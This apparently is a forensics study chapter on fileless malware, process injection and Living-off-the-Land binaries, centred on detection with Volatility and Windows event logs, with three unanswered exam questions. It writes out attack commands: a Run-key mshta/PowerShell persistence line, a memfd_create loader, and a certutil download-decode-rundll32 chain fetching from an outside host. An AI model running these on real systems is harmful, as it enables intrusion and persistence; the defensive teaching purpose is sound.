2.1 Fileless Malware, In-Memory Execution & Living-off-the-Land (LotL)
Key Takeaways
- Fileless malware operates primarily in volatile system memory (RAM), Windows Registry hives, or WMI repositories without persisting traditional executable binaries to disk.
- Process injection methods such as Reflective DLL Injection, Process Hollowing, and Process Doppelgänging manipulate legitimate processes to bypass static signatures and heuristic endpoint defenses.
- Linux environments execute fileless payloads using the memfd_create system call, creating anonymous RAM-backed file descriptors visible under /proc/[PID]/fd/.
- Living-off-the-Land Binaries (LOLBins) like certutil.exe, mshta.exe, rundll32.exe, and powershell.exe abuse trusted, signed operating system binaries to download, decode, and execute payloads.
- Forensic detection relies on memory triage via Volatility 3 (malfind, vadinfo, ldrmodules) and endpoint telemetry via Sysmon Event IDs (1, 7, 8, 10, 25) and PowerShell Script Block Logging (Event ID 4104).
2.1 Fileless Malware, In-Memory Execution & Living-off-the-Land (LotL)
Traditional digital forensics relied heavily on dead-disk analysis: acquiring a bit-stream disk image, carving unallocated space, matching file hashes against the National Software Reference Library (NSRL), and inspecting Master File Table ($MFT) records. Modern threat actors, however, increasingly bypass disk-based forensic controls through fileless malware, in-memory process injection, and Living-off-the-Land (LotL) tradecraft. In these attacks, malicious code executes directly within volatile memory (RAM), hides within system configuration databases, or co-opts trusted operating system binaries.
For the Computer Hacking Forensic Investigator (CHFI), detecting and reconstructing fileless intrusions requires a deep mastery of Windows and Linux internal structures, process address space layout, memory acquisition methodologies, and system event logging architectures.
Taxonomy of Fileless Malware
The term "fileless" does not imply that files are never involved at any stage of the attack lifecycle; rather, it indicates that the final malicious payload executes without writing a standalone binary (PE or ELF) to the secondary storage disk. The industry classifies fileless threats into three distinct architectural tiers:
| Classification | Storage Location | Execution Mechanism | Primary Forensic Artifacts |
|---|---|---|---|
| Type I: Firmware / Device Resident | Non-volatile hardware flash (SPI ROM, NIC EEPROM, UEFI NVRAM) | Executes before or independent of the OS kernel during hardware bootstrap | SPI flash dumps, option ROM hashes, UEFI firmware integrity measurements (PCR values) |
| Type II: Indirect / Script-Based | Temporary files, macros, LNK files, or piped network streams | Script engines (cscript.exe, wscript.exe, mshta.exe, powershell.exe) | Command-line parameters, Script Block Logs (EID 4104), Prefetch, PowerShell transaction logs |
| Type III: Registry / Repository Resident | Windows Registry values, WMI Common Information Model (CIM) repository | System interprets payloads stored in keys (Run, CLSID) or WMI event filters | Registry hives (NTUSER.DAT, SOFTWARE), OBJECTS.DATA, WMI event consumer bindings |
+---------------------------------------------------------------------------------+
| FILELESS ATTACK TAXONOMY |
+---------------------------------------------------------------------------------+
| Type I: Hardware/Firmware-Based |
| - Target: UEFI, BIOS, NIC firmware, BMC, Option ROMs |
| - Persistence: Survives full disk formatting and OS re-installation |
+---------------------------------------------------------------------------------+
| Type II: Memory-Only / Piped Execution |
| - Target: Active RAM allocations, process heaps, reflective modules |
| - Persistence: Lost on system reboot unless re-staged across network |
+---------------------------------------------------------------------------------+
| Type III: Configuration Database Resident |
| - Target: Windows Registry keys, WMI repository (OBJECTS.DATA) |
| - Persistence: Encoded blobs executed at boot via signed system binaries |
+---------------------------------------------------------------------------------+
Registry-Resident Payloads and Persistence
In Type III fileless attacks, threat actors store obfuscated payloads (such as Base64-encoded PowerShell scripts or encrypted shellcode) directly inside the Windows Registry. Common persistence locations include:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunandRunOnceHKCU\Software\Microsoft\Windows\CurrentVersion\RunHKCU\Software\Classes\CLSID\{GUID}\InprocServer32(COM Hijacking)- Custom user-created registry values, such as
HKCU\Software\AppDataLow\Software\Microsoft\<RandomGUID>
# Example of a Type III Registry-Resident Persistence Execution
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
-Name "SecurityUpdate" `
-Value "mshta.exe vbscript:Close(Execute(""CreateObject(""""WScript.Shell"""").Run `
powershell.exe -NoP -NonI -W Hidden -Enc `
(Get-ItemProperty 'HKCU:\Software\Classes\AppVendor').Payload,0""))"
When Windows boots, the standard Run key triggers mshta.exe, which executes an inline VBScript snippet. This snippet reads the serialized, Base64-encoded shellcode stored in the benign-looking registry key HKCU:\Software\Classes\AppVendor\Payload, decodes it in memory, and passes it to an unmanaged PowerShell runspace—never generating a compiled .exe or .dll on the file system.
[!IMPORTANT] When performing dead-disk analysis on suspected systems, examine the
NTUSER.DATandSOFTWAREregistry hives using tools like RegRipper (rip.pl) or Eric Zimmerman's Registry Explorer. Look for abnormally large registry values (greater than a few kilobytes) containing strings such aspowershell -enc,javascript:,vbscript:, or raw hex/Base64 character blocks.
Advanced In-Memory Process Injection Techniques
Process injection is the mechanism by which malicious code executes within the virtual address space of a separate, legitimate, running process. This masks the malware's network activity and privilege level under the guise of authorized Windows processes such as svchost.exe, explorer.exe, lsass.exe, or spoolsv.exe.
1. Reflective DLL Injection
Standard Windows DLL loading relies on the Win32 API function LoadLibrary (or LoadLibraryEx). However, LoadLibrary requires the DLL to exist on disk as a file and registers the loaded DLL in the target process's Process Environment Block (PEB) loader data tables (InLoadOrderModuleList, InMemoryOrderModuleList, InInitializationOrderModuleList).
Reflective DLL Injection bypasses this completely by implementing a custom, minimal PE loader directly within the DLL's exported functions (traditionally named ReflectiveLoader):
- Allocation: The injector opens the target process using
OpenProcesswith permissionsPROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD. - Virtual Memory Allocation: The injector calls
VirtualAllocExto allocate a raw memory buffer in the target process marked withPAGE_EXECUTE_READWRITE(RWX) orPAGE_READWRITE(RW). - Payload Copy: The injector calls
WriteProcessMemoryto copy the unparsed DLL file image into the allocated space. - Execution: The injector calls
CreateRemoteThreadorNtCreateThreadEx, setting the thread's start address to the offset of the embeddedReflectiveLoaderfunction. - Self-Loading: Once executing inside the target process,
ReflectiveLoader:- Locates the base address of
kernel32.dllby traversing the PEB (FS:[0x30]on x86,GS:[0x60]on x64). - Resolves the API addresses for
LoadLibraryA,GetProcAddress, andVirtualAlloc. - Allocates the final base memory region for the DLL headers and sections according to their virtual alignments.
- Copies PE sections (
.text,.data,.rdata) from the raw buffer to their respective virtual addresses. - Processes the base relocation table (
.reloc) to adjust memory pointers to the new virtual base. - Walks the Import Address Table (IAT) to bind imported functions from dependent system DLLs.
- Calls the DLL entry point (
DllMain) with the reasonDLL_PROCESS_ATTACH.
- Locates the base address of
Forensic Indicator: The injected DLL executes without an associated file handle on disk and is missing from the PEB's module lists. Volatility detects this via the windows.ldrmodules plugin, which compares the three PEB loader lists against memory-mapped memory allocations (VadS descriptors).
2. Process Hollowing (RunPE)
Process Hollowing involves spawning a legitimate, trusted system binary in a suspended state, unmapping its original executable code, and replacing it with a malicious PE image before resuming execution:
+--------------------------------------------------------------------------------+
| PROCESS HOLLOWING SEQUENCE |
+--------------------------------------------------------------------------------+
| |
| [Attacker Process] [Target Process] |
| | | |
| |-- 1. CreateProcess(target.exe, CREATE_SUSPENDED) --->| (Suspended) |
| | | |
| |-- 2. ZwUnmapViewOfSection(target_base) ------------->| [Original |
| | | Code Erased] |
| |-- 3. VirtualAllocEx(target_base, PAGE_EXECUTE_RW) -->| [Empty RWX |
| | | Allocated] |
| |-- 4. WriteProcessMemory(malicious_headers_sections) ->| [Payload |
| | | Written] |
| |-- 5. SetThreadContext(Entrypoint = Malicious_EP) --->| [EIP/RIP |
| | | Redirected] |
| |-- 6. ResumeThread() -------------------------------->| (Runs Payload |
| as target.exe)|
+--------------------------------------------------------------------------------+
- Suspended Spawn: The injector invokes
CreateProcessWpassing the target binary path (e.g.,C:\Windows\System32\svchost.exe) with thedwCreationFlagsparameter set toCREATE_SUSPENDED(0x00000004). - Unmapping: The injector unmaps the legitimate code from the suspended process's virtual address space using
ZwUnmapViewOfSectionorNtUnmapViewOfSection. - Memory Carving: The injector allocates new memory at the original base address using
VirtualAllocExwith permissionsPAGE_EXECUTE_READWRITE. - PE Writing: Malicious PE headers and sections are written into the hollowed process via
WriteProcessMemory. - Thread Context Hijacking: The injector calls
GetThreadContextto extract the primary thread's register state. It modifies the instruction pointer register (EIPfor 32-bit,RIPorRCXfor 64-bit) to point to the entry point of the injected code. - Commit & Resume: The injector applies the new context with
SetThreadContextand callsResumeThread.
Forensic Indicator: The process command line and image path in the PEB point to svchost.exe, but the code mapped in memory at the ImageBase does not match the cryptographic hash of svchost.exe on disk. Furthermore, the memory segment often carries PAGE_EXECUTE_READWRITE protection instead of the standard PAGE_EXECUTE_READ characteristic of legitimate binaries.
3. Process Doppelgänging
Process Doppelgänging bypasses both antivirus memory scanners and NTFS change monitoring by abusing NTFS Transactional File System (TxF) operations:
- Transacted File Creation: An attacker creates an NTFS transaction using
CreateTransaction. Inside this transaction, a benign file on disk is opened usingCreateFileTransacted. - Malicious Overwrite: The attacker writes malicious payload code into the transacted file using
WriteFile. Because the transaction has not been committed, these changes exist only in memory and are invisible to other processes reading the disk. - Section Creation: The attacker invokes
NtCreateSectionwith section access rightsSECTION_ALL_ACCESSpointing to the transacted file handle. This creates an executable memory section backed by the transacted data. - Rollback: The attacker calls
RollbackTransaction. This reverts the transacted file modifications on disk. The file on the physical disk is left untouched and pristine. - Execution: The attacker calls
NtCreateProcessExusing the previously created section handle, followed by creating the process parameters and an initial thread (NtCreateThreadEx).
Forensic Indicator: Memory analysis tools detect an active process whose backing section has no corresponding file visible to the operating system's standard file system namespace, or whose on-disk file hash does not match the executable image in RAM.
Linux In-Memory Execution: memfd_create
On Linux platforms, fileless malware frequently leverages the memfd_create system call (introduced in Linux kernel 3.17):
// Conceptual C snippet of a fileless Linux loader
#define _GNU_SOURCE
#include <sys/mman.h>
#include <unistd.h>
int fd = memfd_create("systemd_worker", MFD_CLOEXEC);
write(fd, elf_payload_buffer, payload_size);
// Execute the memory-backed file descriptor directly
char *argv[] = {"systemd_worker", NULL};
char *envp[] = {NULL};
fexecve(fd, argv, envp);
memfd_create() creates an anonymous, RAM-backed file descriptor that behaves like a regular file but resides strictly in volatile memory. By combining this call with fexecve() or by executing /proc/self/fd/<fd>, the attacker executes a complete ELF binary without writing a single byte to /tmp, /dev/shm, or any physical storage partition.
Forensic Inspection of memfd_create Execution
Investigators examining a live Linux system or a dead acquisition memory capture can detect memfd execution via the /proc virtual file system:
# Inspect the executable link for suspected processes
ls -l /proc/*/exe | grep "(deleted)"
# Output example:
# lrwxrwxrwx 1 root root 0 Sep 22 10:14 /proc/2149/exe -> /memfd:systemd_worker (deleted)
# Dump the running binary directly out of memory for static analysis
cat /proc/2149/exe > /investigation/recovered_payload.elf
sha256sum /investigation/recovered_payload.elf
# Review memory map protections
cat /proc/2149/maps | grep "r-xp"
[!NOTE] The
/proc/<PID>/exesymlink pointing to/memfd:... (deleted)is an immediate indicator of compromise. While legitimate software (like WebKit or QEMU) usesmemfd_createfor IPC buffers, production server daemons should never show their primary executable symlink originating from an anonymousmemfdfile descriptor.
Living-off-the-Land Binaries (LOLBins)
Living-off-the-Land (LotL) describes an attack strategy where threat actors avoid bringing external binaries onto the target system. Instead, they weaponize pre-installed, trusted operating system utilities—known on Windows as LOLBins (Living-off-the-Land Binaries) or LOLScripts.
Because these binaries are digitally signed by Microsoft and located in system directories (C:\Windows\System32), they bypass basic Application Control (AppLocker, Windows Defender Application Control / WDAC) and rarely trigger signature-based antivirus alerts.
| LOLBin | Legitimate Function | Malicious Forensic Usage | Key Command Flags / Signatures |
|---|---|---|---|
certutil.exe | Certificate management & validation | Ingress tool transfer, Base64 decoding of dropped payloads | -urlcache -split -f <URL> <Path><br>-decode <Source> <Destination> |
mshta.exe | Executes Microsoft HTML Applications (.hta) | Inline execution of remote or encoded VBScript, JScript, and PowerShell | mshta.exe javascript:...<br>mshta.exe vbscript:Execute(...) |
rundll32.exe | Runs exported functions from 32/64-bit DLLs | Executing arbitrary DLLs, executing shellcode via proxy APIs, running JS | rundll32.exe <dllname>,<export><br>rundll32.exe javascript:"\..\mshtml,Run..." |
powershell.exe | System administration automation | Execution of uncompiled scripts, memory reflection, download cradles | -ExecutionPolicy Bypass -NoProfile -W Hidden -Enc <Base64> |
wmic.exe | WMI command-line administration | Remote process execution, WMI event persistence query/creation | wmic process call create "..."<br>wmic /node:<IP> process call create |
regsvr32.exe | Registers/unregisters OLE controls (DLLs) | "Squiblydoo" attack: executes remote XML scriptlets via scrobj.dll | regsvr32.exe /s /n /u /i:<URL> scrobj.dll |
bitsadmin.exe | Background Intelligent Transfer Service manager | Covert file download surviving logoffs and network interrupts | bitsadmin /transfer <job_name> <URL> <local_file> |
:: Classic LOLBin Ingress & Execution Attack Chain
:: Step 1: Download obfuscated payload disguised as a certificate
certutil.exe -urlcache -split -f "https://updates.external-cdn.org/cert.crt" C:\ProgramData\cert.crt
:: Step 2: Decode payload to binary shellcode
certutil.exe -decode C:\ProgramData\cert.crt C:\ProgramData\stage2.dll
:: Step 3: Execute via trusted DLL host
rundll32.exe C:\ProgramData\stage2.dll,DllRegisterServer
Forensic Identification of In-Memory Payloads
When investigating fileless and in-memory attacks, investigators cannot rely on traditional hard drive imaging alone. Volatile memory capture must be executed immediately following the RFC 3227 Order of Volatility.
Memory Triage with Volatility 3
The Volatility 3 framework provides specialized plugins designed to detect abnormal memory allocations and injected code segments:
1. Detecting Injected Code with windows.malfind
windows.malfind scans the Virtual Address Descriptor (VAD) tree of each process to find memory segments that meet three critical criteria:
- Allocated with executable permissions (
PAGE_EXECUTE_READWRITEorPAGE_EXECUTE_READ). - The memory region is not backed by a file on disk (it is private or mapped to the system paging file, marked as
VadSorVad). - Contains executable opcodes or recognizable PE file headers.
# Run malfind across a memory dump
python3 vol.py -f /forensics/evidence/memdump.raw windows.malfind --pid 1024
Sample Output:
PID Process Start VPN End VPN Tag Protection Commit Priv
1024 svchost. 0x0000021b0000 0x0000021b003f VadS PAGE_EXECUTE_READWRITE 40 1
HexDump:
0x0000021b0000: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 MZ..............
0x0000021b0010: b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@.......
Disassembly:
0x0000021b0000: dec ebp
0x0000021b0001: pop edx
In this output, svchost.exe (PID 1024) has a memory range starting at 0x0000021b0000 with PAGE_EXECUTE_READWRITE permissions. The hex dump begins with 4d 5a ("MZ"), the signature of a Windows PE file. Because this memory region is tagged VadS (unbacked private memory) rather than Vad pointing to an on-disk binary, this confirms an injected PE payload.
2. Identifying Unlinked Modules with windows.ldrmodules
When an attacker injects a DLL reflectively, they often manually unlink it from the three doubly linked lists in the PEB: InLoadOrderModuleList, InMemoryOrderModuleList, and InInitializationOrderModuleList.
# Verify module linkage integrity
python3 vol.py -f /forensics/evidence/memdump.raw windows.ldrmodules --pid 1024
If an entry shows False under InLoad, InInit, and InMem, but shows True under MappedPath, the module has been deliberately concealed using Direct Kernel Object Manipulation (DKOM) or manual PEB unlinking.
3. Analyzing Thread Stacks with windows.threads and windows.vadinfo
To find thread execution pointing to hollowed or injected spaces:
# Identify threads whose start address falls into unbacked memory
python3 vol.py -f /forensics/evidence/memdump.raw windows.threads --pid 1024
python3 vol.py -f /forensics/evidence/memdump.raw windows.vadinfo --pid 1024
Endpoint Telemetry & Event Tracing for Windows (ETW)
In addition to post-incident memory acquisition, modern DFIR relies on kernel telemetry to capture transient execution events in real time.
Sysmon (System Monitor) Telemetry
Sysmon provides high-fidelity visibility into process creation, thread injection, and memory manipulation:
- Event ID 1: Process Creation: Captures process name, process ID, parent process ID, full command line, process hashes, and user SID. Critical for catching LOLBin invocations (e.g.,
certutil -urlcache). - Event ID 7: Image Loaded: Captures DLL loads. Identifies unsigned or unexpected DLLs loaded by sensitive processes.
- Event ID 8: CreateRemoteThread: Triggered when a process creates a thread in a remote process virtual address space. High-fidelity alert for Reflective DLL Injection and Process Hollowing. Fields include
SourceProcessId,TargetProcessId,StartAddress, andStartFunction. - Event ID 10: ProcessAccess: Records process open handles (
OpenProcess,OpenThread). Flags suspiciousGrantedAccessmasks like0x1F0FFF(PROCESS_ALL_ACCESS) or0x0028(PROCESS_VM_OPERATION | PROCESS_VM_WRITE). - Event ID 25: Process Tampering: Specifically alerts on Process Hollowing, Process Doppelgänging, and Process Herpaderping by detecting image replacement or mismatch between the PEB image and disk backing.
Windows Event Logs & Script Block Logging
For script-based fileless execution, investigators must configure and inspect dedicated Windows Event Logs:
+-----------------------------------------------------------------------------+
| POWERSHELL LOGGING EVENT IDENTIFIERS |
+-----------------------------------------------------------------------------+
| Event ID 4104: Script Block Logging |
| - Captures the full content of code blocks as they are executed by the |
| PowerShell engine, regardless of obfuscation or encoding layers. |
| Location: Microsoft-Windows-PowerShell/Operational |
+-----------------------------------------------------------------------------+
| Event ID 4103: Module Logging |
| - Captures pipeline execution details, module invocations, and parameter |
| bindings. |
| Location: Microsoft-Windows-PowerShell/Operational |
+-----------------------------------------------------------------------------+
| Event ID 400: Engine Lifecycle |
| - Logs when the PowerShell engine starts, including version and host name. |
| Location: Windows PowerShell |
+-----------------------------------------------------------------------------+
| Security Event ID 4688: Process Creation |
| - When GPO "Include command line in process creation events" is enabled, |
| captures exact arguments passed to LOLBins. |
| Location: Security.evtx |
+-----------------------------------------------------------------------------+
[!TIP] Even if an attacker executes a command using
-EncodedCommandwith multiple layers of XOR or Base64 obfuscation, PowerShell Script Block Logging (Event ID 4104) intercepts the script at the runtime abstract syntax tree (AST) level, recording the fully de-obfuscated plaintext code into the event log.
During the forensic triage of a compromised Windows server, an investigator suspects that an attacker used Process Hollowing to conceal malicious code within 'calc.exe'. Which specific API sequence accurately represents the execution chain of this technique?
A forensic analyst investigating an anomalous Linux server observes that a process is running without a corresponding binary file in any physical directory on the disk. Checking the process reveals that '/proc/[PID]/exe' points to '/memfd:app_update (deleted)'. What mechanism did the adversary use to execute this payload, and where does the executable reside?
An adversary executes an obfuscated, multi-layered Base64 PowerShell command on a corporate workstation. Which Windows Event Log source and Event ID provides the digital forensic investigator with the complete, fully de-obfuscated script block content as executed by the script engine?